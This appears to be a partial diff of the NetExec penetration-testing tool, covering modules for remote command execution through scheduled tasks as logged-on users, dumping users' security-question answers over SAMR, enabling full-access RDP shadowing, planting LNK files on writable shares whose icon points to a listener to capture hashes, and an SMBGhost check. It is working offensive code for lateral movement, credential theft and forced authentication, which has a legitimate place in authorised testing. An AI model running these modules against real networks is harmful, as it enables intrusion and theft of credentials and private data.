self.cmd = self.user = self.task = self.file = self.location = self.time = None
if "CMD" in module_options:
self.cmd = module_options["CMD"]
if "USER" in module_options:
self.user = module_options["USER"]
if "TASK" in module_options:
self.task = module_options["TASK"]
if "FILE" in module_options:
self.file = module_options["FILE"]
if "LOCATION" in module_options:
self.location = module_options["LOCATION"]
name = "schtask_as"
description = "Remotely execute a scheduled task as a logged on user"
supported_protocols = ["smb"]
@@ -50,8 +64,12 @@ class NXCModule:
connection.domain,
self.user,
self.cmd,
self.file,
self.task,
self.location,
connection.kerberos,
connection.aesKey,
connection.host,
connection.kdcHost,
connection.hash,
self.logger,
@@ -74,10 +92,14 @@ class NXCModule:
except Exception as e:
if "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
self.logger.fail("Task was not run, seems like the specified user has no active session on the target")
with contextlib.suppress(Exception):
exec_method.deleteartifact()
else:
self.logger.fail(f"Failed to execute command: {e}")
class TSCH_EXEC:
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
def __init__(self, target, share_name, username, password, domain, user, cmd, file, task, location, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
self.__target = target
self.__username = username
self.__password = password
@@ -89,6 +111,7 @@ class TSCH_EXEC:
self.__retOutput = False
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__remoteHost = remoteHost
self.__kdcHost = kdcHost
self.__tries = tries
self.__output_filename = None
@@ -96,6 +119,9 @@ class TSCH_EXEC:
self.logger = logger
self.cmd = cmd
self.user = user
self.file = file
self.task = task
self.location = location
if hashes is not None:
if hashes.find(":") != -1:
@@ -108,6 +134,7 @@ class TSCH_EXEC:
stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
self.__rpctransport.setRemoteHost(self.__remoteHost)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
@@ -121,6 +148,18 @@ class TSCH_EXEC:
)
self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
def deleteartifact(self):
dce = self.__rpctransport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
self.logger.display(f"Deleting task \\{self.task}")
tsch.hSchRpcDelete(dce, f"\\{self.task}")
dce.disconnect()
def execute(self, command, output=False):
self.__retOutput = output
self.execute_handler(command)
@@ -129,24 +168,20 @@ class TSCH_EXEC:
def output_callback(self, data):
self.__outputBuffer = data
def get_current_date(self):
# Get current date and time
now = datetime.now()
def get_end_boundary(self):
# Get current date and time + 5 minutes
end_boundary = datetime.now() + timedelta(minutes=5)
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
return now.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
def gen_xml(self, command, fileless=False):
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<CalendarTrigger>
<StartBoundary>{self.get_current_date()}</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
<RegistrationTrigger>
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
</RegistrationTrigger>
</Triggers>
<Principals>
<Principal id="LocalSystem">
@@ -177,7 +212,11 @@ class TSCH_EXEC:
<Command>cmd.exe</Command>
"""
if self.__retOutput:
self.__output_filename = f"\\Windows\\Temp\\{gen_random_string(6)}"
fileLocation = "\\Windows\\Temp\\" if self.location is None else self.location
if self.file is None:
self.__output_filename = os.path.join(fileLocation, gen_random_string(6))
else:
self.__output_filename = os.path.join(fileLocation, self.file)
if fileless:
local_ip = self.__rpctransport.get_socket().getsockname()[0]
argument_xml = f" <Arguments>/C {command} &gt; \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2&gt;&amp;1</Arguments>"
@@ -198,61 +237,64 @@ class TSCH_EXEC:
def execute_handler(self, command, fileless=False):
dce = self.__rpctransport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
tmpName = gen_random_string(8)
# Give self.task a random string as name if not already specified
self.task = gen_random_string(8) if self.task is None else self.task
xml = self.gen_xml(command, fileless)
self.logger.info(f"Task XML: {xml}")
taskCreated = False
self.logger.info(f"Creating task \\{tmpName}")
self.logger.info(f"Creating task \\{self.task}")
try:
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
tsch.hSchRpcRegisterTask(dce, f"\\{self.task}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
except Exception as e:
if "ERROR_NONE_MAPPED" in str(e):
self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task")
if e.error_code and hex(e.error_code) == "0x80070005":
self.logger.fail("Schtask_as: Create schedule task got blocked.")
if "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
elif e.error_code and hex(e.error_code) == "0x80070005":
self.logger.fail("Create schedule task got blocked.")
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
elif "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
self.logger.fail(f"User {self.user} does not exist in the domain.")
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
elif "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
elif "ERROR_ALREADY_EXISTS" in str(e):
self.logger.fail(f"Create schedule task failed: {e}")
else:
self.logger.fail(f"Schtask_as: Create schedule task failed: {e}")
self.logger.fail(f"Create schedule task failed: {e}")
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
return
else:
taskCreated = True
self.logger.info(f"Running task \\{tmpName}")
tsch.hSchRpcRun(dce, f"\\{tmpName}")
done = False
while not done:
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}")
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}")
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task}")
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task}")
if resp["pLastRuntime"]["wYear"] != 0:
done = True
else:
sleep(2)
self.logger.info(f"Deleting task \\{tmpName}")
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
taskCreated = False
if taskCreated is True:
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
self.logger.info(f"Deleting task \\{self.task}")
tsch.hSchRpcDelete(dce, f"\\{self.task}")
if self.__retOutput:
if fileless:
while True:
try:
with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename)) as output:
with open(os.path.join(TMP_PATH, self.__output_filename)) as output:
self.output_callback(output.read())
break
except OSError:
+2 -1
View File
@@ -1,5 +1,6 @@
import ntpath
from sys import exit
from nxc.paths import TMP_PATH
class NXCModule:
@@ -44,7 +45,7 @@ class NXCModule:
exit(1)
self.scf_name = module_options["NAME"]
self.scf_path = f"/tmp/{self.scf_name}.scf"
self.scf_path = f"{TMP_PATH}/{self.scf_name}.scf"
self.file_path = ntpath.join("\\", f"{self.scf_name}.scf")
if not self.cleanup:
+134
View File
@@ -0,0 +1,134 @@
from impacket.dcerpc.v5 import samr, transport
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5.rpcrt import DCERPCException
from json import loads
from traceback import format_exc as traceback_format_exc
class NXCModule:
"""
Module by Adamkadaban: @Adamkadaban
Based on research from @0gtweet (@gtworek)
Much of this code was copied from add_computer.py
Reference: https://hackback.zip/2024/05/08/Remotely-Dumping-Windows-Security-Questions-With-Impacket.html
"""
name = "security-questions"
description = "Gets security questions and answers for users on computer"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module):
pass
def on_admin_login(self, context, connection):
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.hostname + "." + connection.domain
self.__target = self.__kdcHost
self.__username = connection.username
self.__password = connection.password
self.__targetIp = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
self.__doKerberos = connection.kerberos
self.__nthash = ""
self.__lmhash = ""
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
self.getSAMRResetInfo(context)
def getSAMRResetInfo(self, context):
string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]"
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(445)
rpc_transport.setRemoteHost(self.__targetIp)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
try:
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
# obtain server handle for samr connection
resp = samr.hSamrConnect(dce)
server_handle = resp["ServerHandle"]
resp = samr.hSamrEnumerateDomainsInSamServer(dce, server_handle)
domains = resp["Buffer"]["Buffer"]
resp = samr.hSamrLookupDomainInSamServer(dce, server_handle, domains[0]["Name"])
# obtain domain handle for samr connection
resp = samr.hSamrOpenDomain(dce, serverHandle=server_handle, domainId=resp["DomainId"])
domain_handle = resp["DomainHandle"]
status = STATUS_MORE_ENTRIES
enumeration_context = 0
# try to iterate through users in domain entries for connection
while status == STATUS_MORE_ENTRIES:
try:
resp = samr.hSamrEnumerateUsersInDomain(dce, domain_handle, enumerationContext=enumeration_context)
except DCERPCException as e:
if str(e).find("STATUS_MORE_ENTRIES") < 0:
raise
resp = e.get_packet()
for user in resp["Buffer"]["Buffer"]:
try:
context.log.info(f"Querying security questions for User: {user['Name']}")
# request SAMR ID 30
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6
r = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
info = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserResetInformation)
reset_data = info["Buffer"]["Reset"]["ResetData"]
if reset_data == b"":
continue
reset_data = loads(reset_data)
questions = reset_data["questions"]
if len(questions) == 0:
context.log.highlight(f"User {user['Name']} has no security questions")
else:
for qna in questions:
question = qna["question"]
answer = qna["answer"]
context.log.highlight(f"{user['Name']} - {question}: {answer}")
samr.hSamrCloseHandle(dce, r["UserHandle"])
except samr.DCERPCException as e:
if "STATUS_INVALID_INFO_CLASS" in str(e):
context.log.debug(f"Failed to query security questions for User: {user['Name']}: {e!s}")
continue
else:
context.log.fail(f"Failed to query security questions for User: {user['Name']}: {e!s}")
context.log.debug(traceback_format_exc())
enumeration_context = resp["EnumerationContext"]
status = resp["ErrorCode"]
except Exception as e:
context.log.fail(f"Error: {e}")
context.log.debug(traceback_format_exc())
finally:
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if server_handle is not None:
samr.hSamrCloseHandle(dce, server_handle)
dce.disconnect()
+2 -255
View File
@@ -1,22 +1,6 @@
import time
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import BOOL, LONG, WSTR, LPWSTR
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.rpcrt import (
RPC_C_AUTHN_WINNT,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_AUTHN_GSS_NEGOTIATE,
)
from impacket.smbconnection import SessionError
from nxc.logger import nxc_logger
class NXCModule:
name = "shadowcoerce"
description = "Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
description = "[REMOVED] Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -35,241 +19,4 @@ class NXCModule:
self.ipsc = bool(module_options["IPSC"])
def on_login(self, context, connection):
c = CoerceAuth()
dce = c.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
pipe="FssagentRpc",
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
)
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
if dce == 1:
context.log.debug("First try failed. Creating another dce connection...")
# Sleeping mandatory for second try
time.sleep(2)
dce = c.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
pipe="FssagentRpc",
)
if self.ipsc:
context.log.debug("ipsc = %s", self.ipsc)
context.log.debug("Using IsPathShadowCopied!")
result = c.IsPathShadowCopied(dce, self.listener)
else:
context.log.debug("ipsc = %s", self.ipsc)
context.log.debug("Using the default IsPathSupported")
result = c.IsPathSupported(dce, self.listener)
try:
dce.disconnect()
except SessionError as e:
context.log.debug(f"Error disconnecting DCE session: {e}")
if result:
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/ShutdownRepo/ShadowCoerce")
else:
context.log.debug("Target not vulnerable to ShadowCoerce")
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
error_messages = system_errors.ERROR_MESSAGES
error_messages.update(MSFSRVP_ERROR_CODES)
if key in error_messages:
error_msg_short = error_messages[key][0]
error_msg_verbose = error_messages[key][1]
return f"SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return f"SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
# Error Codes
################################################################################
MSFSRVP_ERROR_CODES = {
0x80070005: (
"E_ACCESSDENIED",
"The caller does not have the permissions to perform the operation",
),
0x80070057: ("E_INVALIDARG", "One or more arguments are invalid."),
0x80042301: (
"FSRVP_E_BAD_STATE",
"A method call was invalid because of the state of the server.",
),
0x80042316: (
"FSRVP_E_SHADOW_COPY_SET_IN_PROGRESS",
"A call was made to either SetContext (Opnum 1) or StartShadowCopySet (Opnum 2) while the creation of another shadow copy set is in progress.",
),
0x8004230C: (
"FSRVP_E_NOT_SUPPORTED",
"The file store that contains the share to be shadow copied is not supported by the server.",
),
0x00000102: (
"FSRVP_E_WAIT_TIMEOUT",
"The wait for a shadow copy commit or expose operation has timed out.",
),
0xFFFFFFFF: (
"FSRVP_E_WAIT_FAILED",
"The wait for a shadow copy commit expose operation has failed.",
),
0x8004230D: (
"FSRVP_E_OBJECT_ALREADY_EXISTS",
"The specified object already exists.",
),
0x80042308: ("FSRVP_E_OBJECT_NOT_FOUND", "The specified object does not exist."),
0x8004231B: (
"FSRVP_E_UNSUPPORTED_CONTEXT",
"The specified context value is invalid.",
),
0x80042501: (
"FSRVP_E_SHADOWCOPYSET_ID_MISMATCH",
"The provided ShadowCopySetId does not exist.",
),
}
################################################################################
# RPC CALLS
################################################################################
class IsPathSupported(NDRCALL):
opnum = 8
structure = (("ShareName", WSTR),)
class IsPathSupportedResponse(NDRCALL):
structure = (
("SupportedByThisProvider", BOOL),
("OwnerMachineName", LPWSTR),
)
class IsPathShadowCopied(NDRCALL):
opnum = 9
structure = (("ShareName", WSTR),)
class IsPathShadowCopiedResponse(NDRCALL):
structure = (
("ShadowCopyPresent", BOOL),
("ShadowCopyCompatibility", LONG),
)
OPNUMS = {
8: (IsPathSupported, IsPathSupportedResponse),
9: (IsPathShadowCopied, IsPathShadowCopiedResponse),
}
class CoerceAuth:
def connect(
self,
username,
password,
domain,
lmhash,
nthash,
aesKey,
target,
pipe,
doKerberos,
dcHost,
):
binding_params = {
"FssagentRpc": {
"stringBinding": r"ncacn_np:%s[\PIPE\FssagentRpc]" % target,
"UUID": ("a8e0653c-2744-4389-a61d-7373df8b2292", "1.0"),
},
}
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
dce = rpctransport.get_dce_rpc()
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
dce.set_credentials(*rpctransport.get_credentials())
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
nxc_logger.info(f"Connecting to {binding_params[pipe]['stringBinding']}")
try:
dce.connect()
except Exception as e:
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @ShutdownRepo
if str(e).find("STATUS_PIPE_NOT_AVAILABLE") >= 0:
dce.disconnect()
return 1
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
nxc_logger.info("Connected!")
nxc_logger.info(f"Binding to {binding_params[pipe]['UUID'][0]}")
try:
dce.bind(uuidtup_to_bin(binding_params[pipe]["UUID"]))
except Exception as e:
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
nxc_logger.info("Successfully bound!")
return dce
def IsPathShadowCopied(self, dce, listener):
nxc_logger.debug("Sending IsPathShadowCopied!")
try:
request = IsPathShadowCopied()
# only NETLOGON and SYSVOL were detected working here
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
dce.request(request)
except Exception as e:
nxc_logger.debug("Something went wrong, check error status => %s", str(e))
nxc_logger.debug("Attack may of may not have worked, check your listener...")
return False
return True
def IsPathSupported(self, dce, listener):
nxc_logger.debug("Sending IsPathSupported!")
try:
request = IsPathSupported()
# only NETLOGON and SYSVOL were detected working here
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
dce.request(request)
except Exception as e:
nxc_logger.debug("Something went wrong, check error status => %s", str(e))
nxc_logger.debug("Attack may of may not have worked, check your listener...")
return False
return True
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+83
View File
@@ -0,0 +1,83 @@
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
# Module by @Defte_
# Enables or disables shadow RDP
class NXCModule:
name = "shadowrdp"
description = "Enables or disables shadow RDP"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.action = None
def options(self, context, module_options):
if "ACTION" not in module_options:
context.log.fail("ACTION option not specified!")
exit(1)
if module_options["ACTION"].lower() not in ["enable", "disable"]:
context.log.fail("ACTION must be either enable, disable or query")
exit(1)
self.action = module_options["ACTION"].lower()
def on_admin_login(self, context, connection):
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
if remoteOps._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
keyHandle = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\"
)["phkResult"]
# Checks if the key already exists or not
try:
rrp.hBaseRegQueryValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
"Shadow\x00"
)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" in str(e):
context.log.debug("here")
ans = rrp.hBaseRegCreateKey(
remoteOps._RemoteOperations__rrp,
keyHandle,
"Shadow\x00")
# Disable remote UAC
if self.action == "disable":
rrp.hBaseRegSetValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
"Shadow\x00",
rrp.REG_DWORD,
0
)
context.log.highlight("Shadow RDP disabled")
# Enable remote UAC
if self.action == "enable":
rrp.hBaseRegSetValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
"Shadow\x00",
rrp.REG_DWORD,
2
)
context.log.highlight("Shadow RDP with full access enabled")
except Exception as e:
context.log.debug(f"Error {e}")
finally:
remoteOps.finish()
+56 -33
View File
@@ -1,77 +1,100 @@
import pylnk3
import ntpath
from sys import exit
from nxc.paths import TMP_PATH
class NXCModule:
"""
Original idea and PoC by Justin Angel (@4rch4ngel86)
Module by @byt3bl33d3r
Updated by @Marshall-Hallenbeck
"""
name = "slinky"
description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions"
description = "Creates windows shortcuts with the icon attribute containing a URI to the specified server (default SMB) in all shares with write permissions"
supported_protocols = ["smb"]
opsec_safe = False
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def __init__(self):
self.server = None
self.file_path = None
self.lnk_path = None
self.remote_file_path = None
self.local_lnk_path = None
self.lnk_name = None
self.ico_uri = None
self.shares = None
self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
self.cleanup = None
def options(self, context, module_options):
"""
SERVER IP of the SMB server
NAME LNK file name
r"""
SERVER IP of the listening server (running Responder, etc)
NAME LNK file name written to the share(s)
ICO_URI Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
SHARES Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
CLEANUP Cleanup (choices: True or False)
"""
self.cleanup = False
if "CLEANUP" in module_options:
self.cleanup = bool(module_options["CLEANUP"])
context.log.debug("Cleanup set to True")
if "NAME" not in module_options:
context.log.fail("NAME option is required!")
exit(1)
if "SHARES" in module_options:
self.shares = module_options["SHARES"].split(",")
context.log.debug(f"Shares to write to: {self.shares}")
if "IGNORE" in module_options:
self.ignore_shares = module_options["IGNORE"].split(",")
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
if not self.cleanup and "SERVER" not in module_options:
context.log.fail("SERVER option is required!")
exit(1)
if "ICO_URI" in module_options:
self.ico_uri = module_options["ICO_URI"]
context.log.debug("Overriding")
self.lnk_name = module_options["NAME"]
self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
self.local_lnk_path = f"{TMP_PATH}/{self.lnk_name}.lnk"
self.remote_file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
if not self.cleanup:
self.server = module_options["SERVER"]
link = pylnk3.create(self.lnk_path)
link.icon = f"\\\\{self.server}\\icons\\icon.ico"
link = pylnk3.create(self.local_lnk_path)
link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
link.save()
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if "WRITE" in share["access"] and share["name"] not in [
"C$",
"ADMIN$",
"NETLOGON",
]:
context.log.success(f"Found writable share: {share['name']}")
if not self.cleanup:
with open(self.lnk_path, "rb") as lnk:
if shares:
slinky_logger = context.log.init_log_file()
context.log.add_file_log(slinky_logger)
for share in shares:
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
if self.shares is not None and share["name"] not in self.shares:
context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
continue
context.log.success(f"Found writable share: {share['name']}")
if not self.cleanup:
with open(self.local_lnk_path, "rb") as lnk:
try:
connection.conn.putFile(share["name"], self.remote_file_path, lnk.read)
context.log.success(f"Created LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
else:
try:
connection.conn.putFile(share["name"], self.file_path, lnk.read)
context.log.success(f"Created LNK file on the {share['name']} share")
connection.conn.deleteFile(share["name"], self.remote_file_path)
context.log.success(f"Deleted LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
else:
try:
connection.conn.deleteFile(share["name"], self.file_path)
context.log.success(f"Deleted LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
+58
View File
@@ -0,0 +1,58 @@
# everything is comming from https://github.com/ly4k/SMBGhost
# credit to @ly4k_
# module by : @r4vanan
import socket
import struct
# Constants
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
# SMBGhost Packet
SMBGHOST_PKT = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
class NXCModule:
name = "smbghost"
description = "Module to check for the SMB dialect 3.1.1 and compression capability of the host, which is an indicator for the SMBGhost vulnerability (CVE-2020-0796)."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
# Define options if needed
pass
def on_login(self, context, connection):
self.context = context
if self.perform_attack(connection.host):
self.context.log.highlight("Potentially vulnerable to SMBGhost (CVE-2020-0796)")
def perform_attack(self, target_ip):
self.context.log.debug("Performing SMBGhost check...")
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.settimeout(5)
sock.connect((target_ip, 445))
sock.send(SMBGHOST_PKT)
# Receive the first 4 bytes for length
nb_data = sock.recv(4)
if len(nb_data) < 4:
self.context.log.debug(f"{target_ip} Connection closed unexpectedly.")
return False
nb, = struct.unpack(">I", nb_data)
res = sock.recv(nb)
# Check response for vulnerability
if res[68:70] == b"\x11\x03" and res[70:72] == b"\x02\x00":
return True
else:
self.context.log.debug(f"{target_ip} Not vulnerable.")
return False
except Exception as e:
self.context.log.fail(f"Error while connecting to host: {e}")
return False
Loaded 100 of 180 files, more files were not shown because too many files have changed in this diff. Show more